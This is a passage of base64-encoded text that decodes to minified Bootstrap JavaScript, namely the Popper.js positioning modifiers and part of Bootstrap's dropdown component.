lbWVudHM6Z30pOmkpfSksW10pLHk9ZS5yZWN0cy5yZWZlcmVuY2Usdz1lLnJlY3RzLnBvcHBlcixBPW5ldyBNYXAsRT0hMCxUPXZbMF0sQz0wO0M8di5sZW5ndGg7QysrKXt2YXIgTz12W0NdLHg9VnQoTyksaz1kZShPKT09PXd0LEw9W2d0LG10XS5pbmRleE9mKHgpPj0wLEQ9TD8id2lkdGgiOiJoZWlnaHQiLFM9TGUoZSx7cGxhY2VtZW50Ok8sYm91bmRhcnk6aCxyb290Qm91bmRhcnk6ZCxhbHRCb3VuZGFyeTp1LHBhZGRpbmc6Y30pLEk9TD9rP190OmJ0Oms/bXQ6Z3Q7eVtEXT53W0RdJiYoST1iZShJKSk7dmFyIE49YmUoSSksUD1bXTtpZihvJiZQLnB1c2goU1t4XTw9MCksYSYmUC5wdXNoKFNbSV08PTAsU1tOXTw9MCksUC5ldmVyeSgoZnVuY3Rpb24odCl7cmV0dXJuIHR9KSkpe1Q9TyxFPSExO2JyZWFrfUEuc2V0KE8sUCl9aWYoRSlmb3IodmFyIGo9ZnVuY3Rpb24odCl7dmFyIGU9di5maW5kKChmdW5jdGlvbihlKXt2YXIgaT1BLmdldChlKTtpZihpKXJldHVybiBpLnNsaWNlKDAsdCkuZXZlcnkoKGZ1bmN0aW9uKHQpe3JldHVybiB0fSkpfSkpO2lmKGUpcmV0dXJuIFQ9ZSwiYnJlYWsifSxNPXA/MzoxO00+MCYmImJyZWFrIiE9PWooTSk7TS0tKTtlLnBsYWNlbWVudCE9PVQmJihlLm1vZGlmaWVyc0RhdGFbbl0uX3NraXA9ITAsZS5wbGFjZW1lbnQ9VCxlLnJlc2V0PSEwKX19LHJlcXVpcmVzSWZFeGlzdHM6WyJvZmZzZXQiXSxkYXRhOntfc2tpcDohMX19O2Z1bmN0aW9uIEllKHQsZSxpKXtyZXR1cm4gdm9pZCAwPT09aSYmKGk9e3g6MCx5OjB9KSx7dG9wOnQudG9wLWUuaGVpZ2h0LWkueSxyaWdodDp0LnJpZ2h0LWUud2lkdGgraS54LGJvdHRvbTp0LmJvdHRvbS1lLmhlaWdodCtpLnksbGVmdDp0LmxlZnQtZS53aWR0aC1pLnh9fWZ1bmN0aW9uIE5lKHQpe3JldHVybltndCxfdCxtdCxidF0uc29tZSgoZnVuY3Rpb24oZSl7cmV0dXJuIHRbZV0+PTB9KSl9Y29uc3QgUGU9e25hbWU6ImhpZGUiLGVuYWJsZWQ6ITAscGhhc2U6Im1haW4iLHJlcXVpcmVzSWZFeGlzdHM6WyJwcmV2ZW50T3ZlcmZsb3ciXSxmbjpmdW5jdGlvbih0KXt2YXIgZT10LnN0YXRlLGk9dC5uYW1lLG49ZS5yZWN0cy5yZWZlcmVuY2Uscz1lLnJlY3RzLnBvcHBlcixvPWUubW9kaWZpZXJzRGF0YS5wcmV2ZW50T3ZlcmZsb3cscj1MZShlLHtlbGVtZW50Q29udGV4dDoicmVmZXJlbmNlIn0pLGE9TGUoZSx7YWx0Qm91bmRhcnk6ITB9KSxsPUllKHIsbiksYz1JZShhLHMsbyksaD1OZShsKSxkPU5lKGMpO2UubW9kaWZpZXJzRGF0YVtpXT17cmVmZXJlbmNlQ2xpcHBpbmdPZmZzZXRzOmwscG9wcGVyRXNjYXBlT2Zmc2V0czpjLGlzUmVmZXJlbmNlSGlkZGVuOmgsaGFzUG9wcGVyRXNjYXBlZDpkfSxlLmF0dHJpYnV0ZXMucG9wcGVyPU9iamVjdC5hc3NpZ24oe30sZS5hdHRyaWJ1dGVzLnBvcHBlcix7ImRhdGEtcG9wcGVyLXJlZmVyZW5jZS1oaWRkZW4iOmgsImRhdGEtcG9wcGVyLWVzY2FwZWQiOmR9KX19LGplPXtuYW1lOiJvZmZzZXQiLGVuYWJsZWQ6ITAscGhhc2U6Im1haW4iLHJlcXVpcmVzOlsicG9wcGVyT2Zmc2V0cyJdLGZuOmZ1bmN0aW9uKHQpe3ZhciBlPXQuc3RhdGUsaT10Lm9wdGlvbnMsbj10Lm5hbWUscz1pLm9mZnNldCxvPXZvaWQgMD09PXM/WzAsMF06cyxyPWt0LnJlZHVjZSgoZnVuY3Rpb24odCxpKXtyZXR1cm4gdFtpXT1mdW5jdGlvbih0LGUsaSl7dmFyIG49VnQodCkscz1bYnQsZ3RdLmluZGV4T2Yobik+PTA/LTE6MSxvPSJmdW5jdGlvbiI9PXR5cGVvZiBpP2koT2JqZWN0LmFzc2lnbih7fSxlLHtwbGFjZW1lbnQ6dH0pKTppLHI9b1swXSxhPW9bMV07cmV0dXJuIHI9cnx8MCxhPShhfHwwKSpzLFtidCxfdF0uaW5kZXhPZihuKT49MD97eDphLHk6cn06e3g6cix5OmF9fShpLGUucmVjdHMsbyksdH0pLHt9KSxhPXJbZS5wbGFjZW1lbnRdLGw9YS54LGM9YS55O251bGwhPWUubW9kaWZpZXJzRGF0YS5wb3BwZXJPZmZzZXRzJiYoZS5tb2RpZmllcnNEYXRhLnBvcHBlck9mZnNldHMueCs9bCxlLm1vZGlmaWVyc0RhdGEucG9wcGVyT2Zmc2V0cy55Kz1jKSxlLm1vZGlmaWVyc0RhdGFbbl09cn19LE1lPXtuYW1lOiJwb3BwZXJPZmZzZXRzIixlbmFibGVkOiEwLHBoYXNlOiJyZWFkIixmbjpmdW5jdGlvbih0KXt2YXIgZT10LnN0YXRlLGk9dC5uYW1lO2UubW9kaWZpZXJzRGF0YVtpXT1rZSh7cmVmZXJlbmNlOmUucmVjdHMucmVmZXJlbmNlLGVsZW1lbnQ6ZS5yZWN0cy5wb3BwZXIsc3RyYXRlZ3k6ImFic29sdXRlIixwbGFjZW1lbnQ6ZS5wbGFjZW1lbnR9KX0sZGF0YTp7fX0sSGU9e25hbWU6InByZXZlbnRPdmVyZmxvdyIsZW5hYmxlZDohMCxwaGFzZToibWFpbiIsZm46ZnVuY3Rpb24odCl7dmFyIGU9dC5zdGF0ZSxpPXQub3B0aW9ucyxuPXQubmFtZSxzPWkubWFpbkF4aXMsbz12b2lkIDA9PT1zfHxzLHI9aS5hbHRBeGlzLGE9dm9pZCAwIT09ciYmcixsPWkuYm91bmRhcnksYz1pLnJvb3RCb3VuZGFyeSxoPWkuYWx0Qm91bmRhcnksZD1pLnBhZGRpbmcsdT1pLnRldGhlcixmPXZvaWQgMD09PXV8fHUscD1pLnRldGhlck9mZnNldCxnPXZvaWQgMD09PXA/MDpwLG09TGUoZSx7Ym91bmRhcnk6bCxyb290Qm91bmRhcnk6YyxwYWRkaW5nOmQsYWx0Qm91bmRhcnk6aH0pLF89VnQoZS5wbGFjZW1lbnQpLGI9ZGUoZS5wbGFjZW1lbnQpLHY9IWIseT1yZShfKSx3PSJ4Ij09PXk/InkiOiJ4IixBPWUubW9kaWZpZXJzRGF0YS5wb3BwZXJPZmZzZXRzLEU9ZS5yZWN0cy5yZWZlcmVuY2UsVD1lLnJlY3RzLnBvcHBlcixDPSJmdW5jdGlvbiI9PXR5cGVvZiBnP2coT2JqZWN0LmFzc2lnbih7fSxlLnJlY3RzLHtwbGFjZW1lbnQ6ZS5wbGFjZW1lbnR9KSk6ZyxPPSJudW1iZXIiPT10eXBlb2YgQz97bWFpbkF4aXM6QyxhbHRBeGlzOkN9Ok9iamVjdC5hc3NpZ24oe21haW5BeGlzOjAsYWx0QXhpczowfSxDKSx4PWUubW9kaWZpZXJzRGF0YS5vZmZzZXQ/ZS5tb2RpZmllcnNEYXRhLm9mZnNldFtlLnBsYWNlbWVudF06bnVsbCxrPXt4OjAseTowfTtpZihBKXtpZihvKXt2YXIgTCxEPSJ5Ij09PXk/Z3Q6YnQsUz0ieSI9PT15P210Ol90LEk9InkiPT09eT8iaGVpZ2h0Ijoid2lkdGgiLE49QVt5XSxQPU4rbVtEXSxqPU4tbVtTXSxNPWY/LVRbSV0vMjowLEg9Yj09PXd0P0VbSV06VFtJXSwkPWI9PT13dD8tVFtJXTotRVtJXSxXPWUuZWxlbWVudHMuYXJyb3csQj1mJiZXP0p0KFcpOnt3aWR0aDowLGhlaWdodDowfSxGPWUubW9kaWZpZXJzRGF0YVsiYXJyb3cjcGVyc2lzdGVudCJdP2UubW9kaWZpZXJzRGF0YVsiYXJyb3cjcGVyc2lzdGVudCJdLnBhZGRpbmc6e3RvcDowLHJpZ2h0OjAsYm90dG9tOjAsbGVmdDowfSx6PUZbRF0scT1GW1NdLFI9YWUoMCxFW0ldLEJbSV0pLFY9dj9FW0ldLzItTS1SLXotTy5tYWluQXhpczpILVItei1PLm1haW5BeGlzLEs9dj8tRVtJXS8yK00rUitxK08ubWFpbkF4aXM6JCtSK3ErTy5tYWluQXhpcyxRPWUuZWxlbWVudHMuYXJyb3cmJm9lKGUuZWxlbWVudHMuYXJyb3cpLFg9UT8ieSI9PT15P1EuY2xpZW50VG9wfHwwOlEuY2xpZW50TGVmdHx8MDowLFk9bnVsbCE9KEw9bnVsbD09eD92b2lkIDA6eFt5XSk/TDowLFU9TitLLVksRz1hZShmP1F0KFAsTitWLVktWCk6UCxOLGY/S3QoaixVKTpqKTtBW3ldPUcsa1t5XT1HLU59aWYoYSl7dmFyIEosWj0ieCI9PT15P2d0OmJ0LHR0PSJ4Ij09PXk/bXQ6X3QsZXQ9QVt3XSxpdD0ieSI9PT13PyJoZWlnaHQiOiJ3aWR0aCIsbnQ9ZXQrbVtaXSxzdD1ldC1tW3R0XSxvdD0tMSE9PVtndCxidF0uaW5kZXhPZihfKSxydD1udWxsIT0oSj1udWxsPT14P3ZvaWQgMDp4W3ddKT9KOjAsYXQ9b3Q/bnQ6ZXQtRVtpdF0tVFtpdF0tcnQrTy5hbHRBeGlzLGx0PW90P2V0K0VbaXRdK1RbaXRdLXJ0LU8uYWx0QXhpczpzdCxjdD1mJiZvdD9mdW5jdGlvbih0LGUsaSl7dmFyIG49YWUodCxlLGkpO3JldHVybiBuPmk/aTpufShhdCxldCxsdCk6YWUoZj9hdDpudCxldCxmP2x0OnN0KTtBW3ddPWN0LGtbd109Y3QtZXR9ZS5tb2RpZmllcnNEYXRhW25dPWt9fSxyZXF1aXJlc0lmRXhpc3RzOlsib2Zmc2V0Il19O2Z1bmN0aW9uICRlKHQsZSxpKXt2b2lkIDA9PT1pJiYoaT0hMSk7dmFyIG4scyxvPXp0KGUpLHI9enQoZSkmJmZ1bmN0aW9uKHQpe3ZhciBlPXQuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCksaT1YdChlLndpZHRoKS90Lm9mZnNldFdpZHRofHwxLG49WHQoZS5oZWlnaHQpL3Qub2Zmc2V0SGVpZ2h0fHwxO3JldHVybiAxIT09aXx8MSE9PW59KGUpLGE9aWUoZSksbD1HdCh0LHIsaSksYz17c2Nyb2xsTGVmdDowLHNjcm9sbFRvcDowfSxoPXt4OjAseTowfTtyZXR1cm4ob3x8IW8mJiFpKSYmKCgiYm9keSIhPT1XdChlKXx8RWUoYSkpJiYoYz0obj1lKSE9PUJ0KG4pJiZ6dChuKT97c2Nyb2xsTGVmdDoocz1uKS5zY3JvbGxMZWZ0LHNjcm9sbFRvcDpzLnNjcm9sbFRvcH06d2UobikpLHp0KGUpPygoaD1HdChlLCEwKSkueCs9ZS5jbGllbnRMZWZ0LGgueSs9ZS5jbGllbnRUb3ApOmEmJihoLng9QWUoYSkpKSx7eDpsLmxlZnQrYy5zY3JvbGxMZWZ0LWgueCx5OmwudG9wK2Muc2Nyb2xsVG9wLWgueSx3aWR0aDpsLndpZHRoLGhlaWdodDpsLmhlaWdodH19ZnVuY3Rpb24gV2UodCl7dmFyIGU9bmV3IE1hcCxpPW5ldyBTZXQsbj1bXTtmdW5jdGlvbiBzKHQpe2kuYWRkKHQubmFtZSksW10uY29uY2F0KHQucmVxdWlyZXN8fFtdLHQucmVxdWlyZXNJZkV4aXN0c3x8W10pLmZvckVhY2goKGZ1bmN0aW9uKHQpe2lmKCFpLmhhcyh0KSl7dmFyIG49ZS5nZXQodCk7biYmcyhuKX19KSksbi5wdXNoKHQpfXJldHVybiB0LmZvckVhY2goKGZ1bmN0aW9uKHQpe2Uuc2V0KHQubmFtZSx0KX0pKSx0LmZvckVhY2goKGZ1bmN0aW9uKHQpe2kuaGFzKHQubmFtZSl8fHModCl9KSksbn12YXIgQmU9e3BsYWNlbWVudDoiYm90dG9tIixtb2RpZmllcnM6W10sc3RyYXRlZ3k6ImFic29sdXRlIn07ZnVuY3Rpb24gRmUoKXtmb3IodmFyIHQ9YXJndW1lbnRzLmxlbmd0aCxlPW5ldyBBcnJheSh0KSxpPTA7aTx0O2krKyllW2ldPWFyZ3VtZW50c1tpXTtyZXR1cm4hZS5zb21lKChmdW5jdGlvbih0KXtyZXR1cm4hKHQmJiJmdW5jdGlvbiI9PXR5cGVvZiB0LmdldEJvdW5kaW5nQ2xpZW50UmVjdCl9KSl9ZnVuY3Rpb24gemUodCl7dm9pZCAwPT09dCYmKHQ9e30pO3ZhciBlPXQsaT1lLmRlZmF1bHRNb2RpZmllcnMsbj12b2lkIDA9PT1pP1tdOmkscz1lLmRlZmF1bHRPcHRpb25zLG89dm9pZCAwPT09cz9CZTpzO3JldHVybiBmdW5jdGlvbih0LGUsaSl7dm9pZCAwPT09aSYmKGk9byk7dmFyIHMscixhPXtwbGFjZW1lbnQ6ImJvdHRvbSIsb3JkZXJlZE1vZGlmaWVyczpbXSxvcHRpb25zOk9iamVjdC5hc3NpZ24oe30sQmUsbyksbW9kaWZpZXJzRGF0YTp7fSxlbGVtZW50czp7cmVmZXJlbmNlOnQscG9wcGVyOmV9LGF0dHJpYnV0ZXM6e30sc3R5bGVzOnt9fSxsPVtdLGM9ITEsaD17c3RhdGU6YSxzZXRPcHRpb25zOmZ1bmN0aW9uKGkpe3ZhciBzPSJmdW5jdGlvbiI9PXR5cGVvZiBpP2koYS5vcHRpb25zKTppO2QoKSxhLm9wdGlvbnM9T2JqZWN0LmFzc2lnbih7fSxvLGEub3B0aW9ucyxzKSxhLnNjcm9sbFBhcmVudHM9e3JlZmVyZW5jZTpGdCh0KT9DZSh0KTp0LmNvbnRleHRFbGVtZW50P0NlKHQuY29udGV4dEVsZW1lbnQpOltdLHBvcHBlcjpDZShlKX07dmFyIHIsYyx1PWZ1bmN0aW9uKHQpe3ZhciBlPVdlKHQpO3JldHVybiAkdC5yZWR1Y2UoKGZ1bmN0aW9uKHQsaSl7cmV0dXJuIHQuY29uY2F0KGUuZmlsdGVyKChmdW5jdGlvbih0KXtyZXR1cm4gdC5waGFzZT09PWl9KSkpfSksW10pfSgocj1bXS5jb25jYXQobixhLm9wdGlvbnMubW9kaWZpZXJzKSxjPXIucmVkdWNlKChmdW5jdGlvbih0LGUpe3ZhciBpPXRbZS5uYW1lXTtyZXR1cm4gdFtlLm5hbWVdPWk/T2JqZWN0LmFzc2lnbih7fSxpLGUse29wdGlvbnM6T2JqZWN0LmFzc2lnbih7fSxpLm9wdGlvbnMsZS5vcHRpb25zKSxkYXRhOk9iamVjdC5hc3NpZ24oe30saS5kYXRhLGUuZGF0YSl9KTplLHR9KSx7fSksT2JqZWN0LmtleXMoYykubWFwKChmdW5jdGlvbih0KXtyZXR1cm4gY1t0XX0pKSkpO3JldHVybiBhLm9yZGVyZWRNb2RpZmllcnM9dS5maWx0ZXIoKGZ1bmN0aW9uKHQpe3JldHVybiB0LmVuYWJsZWR9KSksYS5vcmRlcmVkTW9kaWZpZXJzLmZvckVhY2goKGZ1bmN0aW9uKHQpe3ZhciBlPXQubmFtZSxpPXQub3B0aW9ucyxuPXZvaWQgMD09PWk/e306aSxzPXQuZWZmZWN0O2lmKCJmdW5jdGlvbiI9PXR5cGVvZiBzKXt2YXIgbz1zKHtzdGF0ZTphLG5hbWU6ZSxpbnN0YW5jZTpoLG9wdGlvbnM6bn0pO2wucHVzaChvfHxmdW5jdGlvbigpe30pfX0pKSxoLnVwZGF0ZSgpfSxmb3JjZVVwZGF0ZTpmdW5jdGlvbigpe2lmKCFjKXt2YXIgdD1hLmVsZW1lbnRzLGU9dC5yZWZlcmVuY2UsaT10LnBvcHBlcjtpZihGZShlLGkpKXthLnJlY3RzPXtyZWZlcmVuY2U6JGUoZSxvZShpKSwiZml4ZWQiPT09YS5vcHRpb25zLnN0cmF0ZWd5KSxwb3BwZXI6SnQoaSl9LGEucmVzZXQ9ITEsYS5wbGFjZW1lbnQ9YS5vcHRpb25zLnBsYWNlbWVudCxhLm9yZGVyZWRNb2RpZmllcnMuZm9yRWFjaCgoZnVuY3Rpb24odCl7cmV0dXJuIGEubW9kaWZpZXJzRGF0YVt0Lm5hbWVdPU9iamVjdC5hc3NpZ24oe30sdC5kYXRhKX0pKTtmb3IodmFyIG49MDtuPGEub3JkZXJlZE1vZGlmaWVycy5sZW5ndGg7bisrKWlmKCEwIT09YS5yZXNldCl7dmFyIHM9YS5vcmRlcmVkTW9kaWZpZXJzW25dLG89cy5mbixyPXMub3B0aW9ucyxsPXZvaWQgMD09PXI/e306cixkPXMubmFtZTsiZnVuY3Rpb24iPT10eXBlb2YgbyYmKGE9byh7c3RhdGU6YSxvcHRpb25zOmwsbmFtZTpkLGluc3RhbmNlOmh9KXx8YSl9ZWxzZSBhLnJlc2V0PSExLG49LTF9fX0sdXBkYXRlOihzPWZ1bmN0aW9uKCl7cmV0dXJuIG5ldyBQcm9taXNlKChmdW5jdGlvbih0KXtoLmZvcmNlVXBkYXRlKCksdChhKX0pKX0sZnVuY3Rpb24oKXtyZXR1cm4gcnx8KHI9bmV3IFByb21pc2UoKGZ1bmN0aW9uKHQpe1Byb21pc2UucmVzb2x2ZSgpLnRoZW4oKGZ1bmN0aW9uKCl7cj12b2lkIDAsdChzKCkpfSkpfSkpKSxyfSksZGVzdHJveTpmdW5jdGlvbigpe2QoKSxjPSEwfX07aWYoIUZlKHQsZSkpcmV0dXJuIGg7ZnVuY3Rpb24gZCgpe2wuZm9yRWFjaCgoZnVuY3Rpb24odCl7cmV0dXJuIHQoKX0pKSxsPVtdfXJldHVybiBoLnNldE9wdGlvbnMoaSkudGhlbigoZnVuY3Rpb24odCl7IWMmJmkub25GaXJzdFVwZGF0ZSYmaS5vbkZpcnN0VXBkYXRlKHQpfSkpLGh9fXZhciBxZT16ZSgpLFJlPXplKHtkZWZhdWx0TW9kaWZpZXJzOlttZSxNZSxwZSxSdF19KSxWZT16ZSh7ZGVmYXVsdE1vZGlmaWVyczpbbWUsTWUscGUsUnQsamUsU2UsSGUsaGUsUGVdfSk7Y29uc3QgS2U9T2JqZWN0LmZyZWV6ZShPYmplY3QuZGVmaW5lUHJvcGVydHkoe19fcHJvdG9fXzpudWxsLHBvcHBlckdlbmVyYXRvcjp6ZSxkZXRlY3RPdmVyZmxvdzpMZSxjcmVhdGVQb3BwZXJCYXNlOnFlLGNyZWF0ZVBvcHBlcjpWZSxjcmVhdGVQb3BwZXJMaXRlOlJlLHRvcDpndCxib3R0b206bXQscmlnaHQ6X3QsbGVmdDpidCxhdXRvOnZ0LGJhc2VQbGFjZW1lbnRzOnl0LHN0YXJ0Ond0LGVuZDpBdCxjbGlwcGluZ1BhcmVudHM6RXQsdmlld3BvcnQ6VHQscG9wcGVyOkN0LHJlZmVyZW5jZTpPdCx2YXJpYXRpb25QbGFjZW1lbnRzOnh0LHBsYWNlbWVudHM6a3QsYmVmb3JlUmVhZDpMdCxyZWFkOkR0LGFmdGVyUmVhZDpTdCxiZWZvcmVNYWluOkl0LG1haW46TnQsYWZ0ZXJNYWluOlB0LGJlZm9yZVdyaXRlOmp0LHdyaXRlOk10LGFmdGVyV3JpdGU6SHQsbW9kaWZpZXJQaGFzZXM6JHQsYXBwbHlTdHlsZXM6UnQsYXJyb3c6aGUsY29tcHV0ZVN0eWxlczpwZSxldmVudExpc3RlbmVyczptZSxmbGlwOlNlLGhpZGU6UGUsb2Zmc2V0OmplLHBvcHBlck9mZnNldHM6TWUscHJldmVudE92ZXJmbG93OkhlfSxTeW1ib2wudG9TdHJpbmdUYWcse3ZhbHVlOiJNb2R1bGUifSkpLFFlPSJkcm9wZG93biIsWGU9IkFycm93VXAiLFllPSJBcnJvd0Rvd24iLFVlPSJjbGljay5icy5kcm9wZG93bi5kYXRhLWFwaSIsR2U9ImtleWRvd24uYnMuZHJvcGRvd24uZGF0YS1hcGkiLEplPSJzaG93IixaZT0nW2RhdGEtYnMtdG9nZ2xlPSJkcm9wZG93biJdOm5vdCguZGlzYWJsZWQpOm5vdCg6ZGlzYWJsZWQpJyx0aT1gJHtaZX0uc2hvd2AsZWk9Ii5kcm9wZG93bi1tZW51IixpaT1wKCk/InRvcC1lbmQiOiJ0b3Atc3RhcnQiLG5pPXAoKT8idG9wLXN0YXJ0IjoidG9wLWVuZCIsc2k9cCgpPyJib3R0b20tZW5kIjoiYm90dG9tLXN0YXJ0IixvaT1wKCk/ImJvdHRvbS1zdGFydCI6ImJvdHRvbS1lbmQiLHJpPXAoKT8ibGVmdC1zdGFydCI6InJpZ2h0LXN0YXJ0IixhaT1wKCk/InJpZ2h0LXN0YXJ0IjoibGVmdC1zdGFydCIsbGk9e2F1dG9DbG9zZTohMCxib3VuZGFyeToiY2xpcHBpbmdQYXJlbnRzIixkaXNwbGF5OiJkeW5hbWljIixvZmZzZXQ6WzAsMl0scG9wcGVyQ29uZmlnOm51bGwscmVmZXJlbmNlOiJ0b2dnbGUifSxjaT17YXV0b0Nsb3NlOiIoYm9vbGVhbnxzdHJpbmcpIixib3VuZGFyeToiKHN0cmluZ3xlbGVtZW50KSIsZGlzcGxheToic3RyaW5nIixvZmZzZXQ6IihhcnJheXxzdHJpbmd8ZnVuY3Rpb24pIixwb3BwZXJDb25maWc6IihudWxsfG9iamVjdHxmdW5jdGlvbikiLHJlZmVyZW5jZToiKHN0cmluZ3xlbGVtZW50fG9iamVjdCkifTtjbGFzcyBoaSBleHRlbmRzIHp7Y29uc3RydWN0b3IodCxlKXtzdXBlcih0LGUpLHRoaXMuX3BvcHBlcj1udWxsLHRoaXMuX3BhcmVudD10aGlzLl9lbGVtZW50LnBhcmVudE5vZGUsdGhpcy5fbWVudT1RLm5leHQodGhpcy5fZWxlbWVudCxlaSlbMF18fFEucHJldih0aGlzLl9lbGVtZW50LGVpKVswXXx8US5maW5kT25lKGVpLHRoaXMuX3BhcmVudCksdGhpcy5faW5OYXZiYXI9dGhpcy5fZGV0ZWN0TmF2YmFyKCl9c3RhdGljIGdldCBEZWZhdWx0KCl7cmV0dXJuIGxpfXN0YXRpYyBnZXQgRGVmYXVsdFR5cGUoKXtyZXR1cm4gY2l9c3RhdGljIGdldCBOQU1FKCl7cmV0dXJuIFFlfXRvZ2dsZSgpe3JldHVybiB0aGlzLl9pc1Nob3duKCk/dGhpcy5oaWRlKCk6dGhpcy5zaG93KCl9c2hvdygpe2lmKGwodGhpcy5fZWxlbWVudCl8fHRoaXMuX2lzU2hvd24oKSlyZXR1cm47Y29uc3QgdD17cmVsYXRlZFRhcmdldDp0aGlzLl9lbGVtZW50fTtpZighUC50cmlnZ2VyKHRoaXMuX2VsZW1lbnQsInNob3cuYnMuZHJvcGRvd24iLHQpLmRlZmF1bHRQcmV2ZW50ZWQpe2lmKHRoaXMuX2NyZWF0ZVBvcHBlcigpLCJvbnRvdWNoc3RhcnQiaW4gZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50JiYhdGhpcy5fcGFyZW50LmNsb3Nlc3QoIi5uYXZiYXItbmF2IikpZm9yKGNvbnN0IHQgb2ZbXS5jb25jYXQoLi4uZG9jdW1lbnQuYm9keS5jaGlsZHJlbikpUC5vbih0LCJtb3VzZW92ZXIiLGgpO3RoaXMuX2VsZW1lbnQuZm9jdXMoKSx0aGlzLl9lbGVtZW50LnNldEF0dHJpYnV0ZSgiYXJpYS1leHBhbmRlZCIsITApLHRoaXMuX21lbnUuY2xhc3NMaXN0LmFkZChKZSksdGhpcy5fZWxlbWVudC5jbGFzc0xpc3QuYWRkKEplKSxQLnRyaWdnZXIodGhpcy5fZWxlbWVudCwic2hvd24uYnMuZHJvcGRvd24iLHQpfX1oaWRlKCl7aWYobCh0aGlzLl9lbGVtZW50KXx8IXRoaXMuX2lzU2hvd24oKSlyZXR1cm47Y29uc3QgdD17cmVsYXRlZFRhcmdldDp0aGlzLl9lbGVtZW50fTt0aGlzLl9jb21wbGV0ZUhpZGUodCl9ZGlzcG9zZSgpe3RoaXMuX3BvcHBlciYmdGhpcy5fcG9wcGVyLmRlc3Ryb3koKSxzdXBlci5kaXNwb3NlKCl9dXBkYXRlKCl7dGhpcy5faW5OYXZiYXI9dGhpcy5fZGV0ZWN0TmF2YmFyKCksdGhpcy5fcG9wcGVyJiZ0aGlzLl9wb3BwZXIudXBkYXRlKCl9X2NvbXBsZXRlSGlkZSh0KXtpZighUC50cmlnZ2VyKHRoaXMuX2VsZW1lbnQsImhpZGUuYnMuZHJvcGRvd24iLHQpLmRlZmF1bHRQcmV2ZW50ZWQpe2lmKCJvbnRvdWNoc3RhcnQiaW4gZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50KWZvcihjb25zdCB0IG9mW10uY29uY2F0KC4uLmRvY3VtZW50LmJvZHkuY2hpbGRyZW4pKVAub2ZmKHQsIm1vdXNlb3ZlciIsaCk7dGhpcy5fcG9wcGVyJiZ0aGlzLl9wb3BwZXIuZGVzdHJveSgpLHRoaXMuX21lbnUuY2xhc3NMaXN0LnJlbW92ZShKZSksdGhpcy5fZWxlbWVudC5jbGFzc0xpc3QucmVtb3ZlKEplKSx0aGlzLl9lbGVtZW50LnNldEF0dHJpYnV0ZSgiYXJpYS1leHBhbmRlZCIsImZhbHNlIiksQi5yZW1vdmVEYXRhQXR0cmlidXRlKHRoaXMuX21lbnUsInBvcHBlciIpLFAudHJpZ2dlcih0aGlzLl9lbGVtZW50LCJoaWRkZW4uYnMuZHJvcGRvd24iLHQpfX1fZ2V0Q29uZmlnKHQpe2lmKCJvYmplY3QiPT10eXBlb2YodD1zdXBlci5fZ2V0Q29uZmlnKHQpKS5yZWZlcmVuY2UmJiFvKHQucmVmZXJlbmNlKSYmImZ1bmN0aW9uIiE9dHlwZW9mIHQucmVmZXJlbmNlLmdldEJvdW5kaW5nQ2xpZW50UmVjdCl0aHJvdyBuZXcgVHlwZUVycm9yKGAke1FlLnRvVXBwZXJDYXNlKCl9OiBPcHRpb24gInJlZmVyZW5jZSIgcHJvdmlkZWQgdHlwZSAib2JqZWN0IiB3aXRob3V0IGEgcmVxdWlyZWQgImdldEJvdW5kaW5nQ2xpZW50UmVjdCIgbWV0aG9kLmApO3JldHVybiB0fV9jcmVhdGVQb3BwZXIoKXtpZih2b2lkIDA9PT1LZSl0aHJvdyBuZXcgVHlwZUVycm9yKCJCb290c3RyYXAncyBkcm9wZG93bnMgcmVxdWlyZSBQb3BwZXIgKGh0dHBzOi8vcG9wcGVyLmpzLm9yZykiKTtsZXQgdD10aGlzLl9lbGVtZW50OyJwYXJlbnQiPT09dGhpcy5fY29uZmlnLnJlZmVyZW5jZT90PXRoaXMuX3BhcmVudDpvKHRoaXMuX2NvbmZpZy5yZWZlcmVuY2UpP3Q9cih0aGlzLl9jb25maWcucmVmZXJlbmNlKToib2JqZWN0Ij09dHlwZW9mIHRoaXMuX2NvbmZpZy5yZWZlcmVuY2UmJih0PXRoaXMuX2NvbmZpZy5yZWZlcmVuY2UpO2NvbnN0IGU9dGhpcy5fZ2V0UG9wcGVyQ29uZmlnKCk7dGhpcy5fcG9wcGVyPVZlKHQsdGhpcy5fbWVudSxlKX1faXNTaG93bigpe3JldHVybiB0aGlzLl9tZW51LmNsYXNzTGlzdC5jb250YWlucyhKZSl9X2dldFBsYWNlbWVudCgpe2NvbnN0IHQ9dGhpcy5fcGFyZW50O2lmKHQuY2xhc3NMaXN0LmNvbnRhaW5zKCJkcm9wZW5kIikpcmV0dXJuIHJpO2lmKHQuY2xhc3NMaXN0LmNvbnRhaW5zKCJkcm9wc3RhcnQiKSlyZXR1cm4gYWk7aWYodC5jbGFzc0xpc3QuY29udGFpbnMoImRyb3B1cC1jZW50ZXIiKSlyZXR1cm4idG9wIjtpZih0LmNsYXNzTGlzdC5jb250YWlucygiZHJvcGRvd24tY2VudGVyIikpcmV0dXJuImJvdHRvbSI7Y29uc3QgZT0iZW5kIj09PWdldENvbXB1dGVkU3R5bGUodGhpcy5fbWVudSkuZ2V0UHJvcGVydHlWYWx1ZSgiLS1icy1wb3NpdGlvbiIpLnRyaW0oKTtyZXR1cm4gdC5jbGFzc0xpc3QuY29udGFpbnMoImRyb3B1cCIpP2U/bmk6aWk6ZT9vaTpzaX1fZGV0ZWN0TmF2YmFyKCl7cmV0dXJuIG51bGwhPT10aGlzLl9lbGVtZW50LmNsb3Nlc3QoIi5uYXZiYXIiKX1fZ2V0T2Zmc2V0KCl7Y29uc3R7b2Zmc2V0OnR9PXRoaXMuX2NvbmZpZztyZXR1cm4ic3RyaW5nIj09dHlwZW9mIHQ/dC5zcGxpdCgiLCIpLm1hcCgodD0+TnVtYmVyLnBhcnNlSW50KHQsMTApKSk6ImZ1bmN0aW9uIj09dHlwZW9mIHQ/ZT0+dChlLHRoaXMuX2VsZW1lbnQpOnR9X2dldFBvcHBlckNvbmZpZygpe2NvbnN0IHQ9e3BsYWNlbWVudDp0aGlzLl9nZXRQbGFjZW1lbnQoKSxtb2RpZmllcnM6W3tuYW1lOiJwcmV2ZW50T3ZlcmZsb3ciLG9wdGlvbnM6e2JvdW5kYXJ5OnRoaXMuX2NvbmZpZy5ib3VuZGFyeX19LHtuYW1lOiJvZmZzZXQiLG9wdGlvbnM6e29mZnNldDp0aGlzLl9nZXRPZmZzZXQoKX19XX07cmV0dXJuKHRoaXMuX2luTmF2YmFyfHwic3RhdGljIj09PXRoaXMuX2NvbmZpZy5kaXNwb